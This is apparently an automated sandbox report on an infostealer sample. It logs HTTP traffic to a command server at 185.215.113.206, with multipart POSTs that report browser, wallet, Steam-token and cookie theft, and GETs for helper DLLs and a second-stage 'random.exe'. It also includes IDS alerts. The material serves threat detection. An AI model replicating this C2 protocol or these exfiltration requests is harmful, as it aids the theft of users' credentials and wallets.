Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHDHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 42 39 43 45 37 46 34 37 32 34 37 39 36 39 32 32 37 39 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 2d 2d 0d 0a Data Ascii: ------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="hwid"02B9CE7F4724796922796------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="build"stok------GDAECAECFCAAEBFHIEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="message"browsers------HJKJKKKJJJKJKFHJJJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="message"plugins------CFBFCGIDAKECGCBGDBAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 2d 2d 0d 0a Data Ascii: ------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="message"fplugins------BKJKJEHJJDAKECBFCGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 185.215.113.206Content-Length: 6615Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEBHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 2d 2d 0d 0a Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FBKKJEBFIDAEBFHIDAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file"------DHDAFBFCFHIDAKFIIEBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="file"------IDGIJEGHDAECAKECAFCA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"wallets------HIJEGDBGDBFIJKECBAKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="message"files------DGHCBAAEHCFIDGDHJEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file"------FBFCGIDAKECGCBGDBAFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="message"ybncbhylepme------BFBFBFIIJDAKECAKKJEH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDBKKFHIEGDHJKECAAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49788 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49828 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.148
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.148
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.148
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.148
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.148
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.148
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
